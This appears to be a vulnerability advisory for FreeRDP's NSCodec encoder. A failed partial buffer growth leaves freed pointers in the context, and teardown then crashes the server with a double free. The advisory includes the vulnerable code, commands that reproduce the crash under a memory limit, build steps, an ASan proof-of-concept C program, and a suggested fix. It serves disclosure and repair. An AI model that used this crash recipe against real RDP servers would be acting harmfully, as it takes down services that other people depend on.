FreeRDP: NSCodec partial plane growth failure leaves dangling pointers and crashes the server

NSCodec partial plane growth failure leaves dangling pointers and crashes the server

Summary

nsc_context_initialize_encode() grows five aligned plane buffers one by one and publishes each successful replacement immediately. If a later growth fails, the common failure path frees every plane buffer but leaves the freed addresses stored in the context. Normal context teardown subsequently frees the stale addresses again.

A real RDP client can negotiate NSCodec and choose a desktop geometry that determines these allocation sizes. Under bounded server memory, a partial-growth failure reproducibly terminates the FreeRDP Sample server with SIGSEGV.

The native product-pipeline crash was reproduced with commit 9415f2d11e4cbc4e25d3d9fd0c4271e2e05d5c58 (3.30.0-48-g9415f2d1). Direct ASan reproduction was performed at f4eed14aa8dadc44df320dcdde9dd8329a643d58 (3.31.0-58-gf4eed14aa). The owning file is byte-for-byte identical in release 3.31.0, at dbea8ef5d3eb680bbafbdeaf0cc81a6614070196, and at the reporting-time upstream HEAD 69afd13014b3a5f5e32d649112ce6f06d8024449 (3.31.0-121-g69afd1301):

libfreerdp/codec/nsc_encode.c
SHA-256 9c78f5b9e282a099e02acafc34c9b446c697942648ac42485585f445e24badcd

Affected versions

• Confirmed affected release: FreeRDP 3.31.0.
• Dynamically tested development revisions: 3.30.0-48-g9415f2d1 (native RDP pipeline) and 3.31.0-58-gf4eed14aa (direct ASan lifecycle).
• Confirmed affected source at reporting time: 3.31.0-121-g69afd1301.
• First affected historical release was not exhaustively bisected. The unsafe caller cleanup predates these revisions, so the structured advisory range is intentionally limited to the confirmed release rather than guessing an older lower bound.
• No patched upstream release was known at the time of reporting.

Root cause

The relevant transaction in libfreerdp/codec/nsc_encode.c is:

if (length > context->priv->PlaneBuffersLength)
{
    for (int i = 0; i < 5; i++)
    {
        BYTE* tmp = (BYTE*)winpr_aligned_recalloc(
            context->priv->PlaneBuffers[i], length, sizeof(BYTE), 32);

        if (!tmp)
            goto fail;

        context->priv->PlaneBuffers[i] = tmp;
    }

    context->priv->PlaneBuffersLength = length;
}

/* ... */

fail:
if (length > context->priv->PlaneBuffersLength)
{
    for (int i = 0; i < 5; i++)
        winpr_aligned_free(context->priv->PlaneBuffers[i]);
}
return FALSE;

The loop has already committed zero or more new owners to PlaneBuffers[] when a later call fails. The failure loop frees the complete owner set without setting the fields to NULL or restoring a coherent previous state. PlaneBuffersLength is also not committed. The returned context therefore contains dangling plane pointers.

The ordinary failure path in the Sample server destroys the peer context. nsc_context_free() then calls winpr_aligned_free() on the dangling plane fields, causing an invalid access/double free.

Real RDP pipeline and native DoS

The exercised path is:

TCP -> TLS -> RDP capability/desktop negotiation
    -> Sample server activation/background draw
    -> nsc_compose_message()
    -> nsc_context_initialize_encode()
    -> partial plane growth failure
    -> activation failure and peer teardown
    -> nsc_context_free()
    -> stale aligned free -> SIGSEGV

The client uses public FreeRDP settings, disables RemoteFX, enables NSCodec and requests a 1536x1536 desktop. The server runs under an ordinary process address-space limit; there is no allocator-failure hook or selected allocation ordinal in this test.

Representative command shape:

prlimit --as=131072000 -- \
  ./server/Sample/sfreerdp-server \
  --port=39901 --cert=server.crt --key=server.key

./nscodec-client --server=127.0.0.1 --port=39901 \
  --width=1536 --height=1536 --nscodec

Observed differential:

| Case | Result | | --- | --- | | vulnerable server, 125 MiB, 1536x1536 | SIGSEGV 3/3 during context teardown | | one-line repaired server, same workload | controlled compose failure; server remains alive 3/3 | | vulnerable server, 120 MiB | first plane fails before partial publication; server remains alive 3/3 | | vulnerable server, 130 MiB | all five plane allocations succeed; server remains alive 3/3 |

An independently retained 4096x4096/192 MiB matrix also terminated the vulnerable server 3/3 and left the repaired server alive 3/3.

Captured vulnerable stacks contain:

winpr_aligned_free
nsc_context_free
freerdp_peer_context_free

Direct sanitizer testing of the public NSCodec lifecycle also reports heap-use-after-free both during nsc_context_free() and when immediately retrying nsc_compose_message() after a partial growth failure.

Build

git clone https://github.com/FreeRDP/FreeRDP.git
cd FreeRDP
git checkout --detach dbea8ef5d3eb680bbafbdeaf0cc81a6614070196

cmake -S . -B build -G Ninja \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DBUILD_SHARED_LIBS=ON \
  -DWITH_SERVER=ON \
  -DWITH_SAMPLE=ON
cmake --build build

For sanitizer attribution:

cmake -S . -B build-asan -G Ninja \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DBUILD_SHARED_LIBS=ON \
  -DWITH_SERVER=ON \
  -DWITH_SAMPLE=ON \
  -DCMAKE_C_FLAGS='-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'
cmake --build build-asan

Impact and limitations

This demonstrates a client-influenced server denial of service and a real use-after-free/double-free state. The client controls the codec choice and geometry, but a server-side bounded-memory condition or equivalent allocation failure is still required. No disclosure, arbitrary read/write, controlled fault address, instruction-pointer control or code execution was demonstrated.

Suggested repair

Do not free the published plane-owner set from the partial-growth failure tail. Each aligned recalloc already preserves the previous owner on failure. Returning FALSE immediately when a plane cannot grow keeps every field valid and lets normal context teardown release each owner exactly once. An alternative would be a fully transactional five-buffer replacement followed by one commit.

The tested minimal repair replaces goto fail with return FALSE and removes the destructive failure loop. It was clean in the real RDP differential, direct ASan teardown/retry tests and existing codec/alignment tests.

Relationship to public PRs #13219 and #13224

This is not the already-fixed central winpr_aligned_recalloc() contract from #13219/#13224. Those changes make a failed aligned recalloc preserve the caller's old allocation. The current issue is the independent NSCodec caller-level failure tail shown above: after the central allocator correctly preserves owners, NSCodec explicitly frees the entire published plane set and leaves the freed addresses in the context. The vulnerable nsc_encode.c code is still present at current HEAD.

Minimal ASan reproducer (no attachment required)

Save the following as nsc_plane_failure_poc.c. It uses the public NSCodec lifecycle and makes only the second 32-byte plane backing allocation fail. On x86-64 ASan builds that allocation reaches posix_memalign(32, 88). The first plane has therefore already been published before the failure.

#define _GNU_SOURCE

#include <errno.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <freerdp/codec/color.h>
#include <freerdp/codec/nsc.h>
#include <winpr/stream.h>

extern int __interceptor_posix_memalign(void**, size_t, size_t);

enum
{
    WIDTH = 8,
    HEIGHT = 2,
    STRIDE = WIDTH * 4,
    PLANE_BACKING_REQUEST = (WIDTH * HEIGHT + 16) + 32 + 24
};

static _Atomic int armed;
static _Atomic unsigned long selected;

int posix_memalign(void** out, size_t alignment, size_t size)
{
    if (atomic_load_explicit(&armed, memory_order_acquire) &&
        (alignment == 32) && (size == PLANE_BACKING_REQUEST))
    {
        const unsigned long ordinal =
            atomic_fetch_add_explicit(&selected, 1, memory_order_relaxed) + 1;
        fprintf(stderr, "plane allocation %lu: alignment=%zu size=%zu\n",
                ordinal, alignment, size);
        if (ordinal == 2)
        {
            *out = NULL;
            return ENOMEM;
        }
    }
    return __interceptor_posix_memalign(out, alignment, size);
}

int main(void)
{
    NSC_CONTEXT* context = nsc_context_new();
    wStream* stream = Stream_New(NULL, 1024);
    BYTE pixels[HEIGHT * STRIDE];
    memset(pixels, 0x5a, sizeof(pixels));

    if (!context || !stream)
        return 1;
    if (!nsc_context_set_parameters(context, NSC_COLOR_FORMAT,
                                    PIXEL_FORMAT_BGRX32))
        return 2;

    atomic_store_explicit(&selected, 0, memory_order_relaxed);
    atomic_store_explicit(&armed, 1, memory_order_release);
    const BOOL composed = nsc_compose_message(context, stream, pixels,
                                               WIDTH, HEIGHT, STRIDE);
    atomic_store_explicit(&armed, 0, memory_order_release);
    fprintf(stderr, "compose=%d selected=%lu\n", composed,
            atomic_load_explicit(&selected, memory_order_relaxed));

    Stream_Free(stream, TRUE);
    nsc_context_free(context); /* ASan heap-use-after-free here */
    return composed ? 3 : 0;
}

Build the tested revision and the PoC:

git clone https://github.com/FreeRDP/FreeRDP.git
cd FreeRDP
git checkout --detach f4eed14aa8dadc44df320dcdde9dd8329a643d58

FLAGS='-O1 -g -fno-omit-frame-pointer -fno-optimize-sibling-calls -fsanitize=address,undefined'
cmake -S . -B build-asan -G Ninja \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \
  -DCMAKE_C_FLAGS="$FLAGS" -DCMAKE_CXX_FLAGS="$FLAGS" \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DBUILD_SHARED_LIBS=ON -DWITH_CLIENT=OFF -DWITH_SERVER=OFF \
  -DWITH_CHANNELS=OFF -DWITH_SAMPLE=OFF -DWITH_X11=OFF \
  -DWITH_WAYLAND=OFF -DWITH_FFMPEG=OFF
cmake --build build-asan --target winpr freerdp

clang -std=gnu11 -O0 -g -fsanitize=address,undefined \
  -fno-omit-frame-pointer -fno-optimize-sibling-calls \
  -Ibuild-asan/include -Ibuild-asan/winpr/include \
  -Iinclude -Iwinpr/include ../nsc_plane_failure_poc.c \
  -Lbuild-asan/libfreerdp -Lbuild-asan/winpr/libwinpr \
  -lfreerdp3 -lwinpr3 \
  -Wl,-rpath,"$PWD/build-asan/libfreerdp:$PWD/build-asan/winpr/libwinpr" \
  -ldl -pthread -o nsc_plane_failure_poc

ASAN_OPTIONS='detect_leaks=0:allocator_may_return_null=1:halt_on_error=1:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
./nsc_plane_failure_poc

Expected result on the vulnerable revision:

plane allocation 1: alignment=32 size=88
plane allocation 2: alignment=32 size=88
compose=0 selected=2
ERROR: AddressSanitizer: heap-use-after-free
    ... winpr_aligned_free ...
    ... nsc_context_free ...

Replacing the final teardown with an immediate second nsc_compose_message() produces the same UAF in winpr_aligned_offset_recalloc(). Failing allocation one is a negative control because no replacement has yet been published. On the one-file repair, the failed compose returns FALSE, teardown is clean, and an immediate retry succeeds.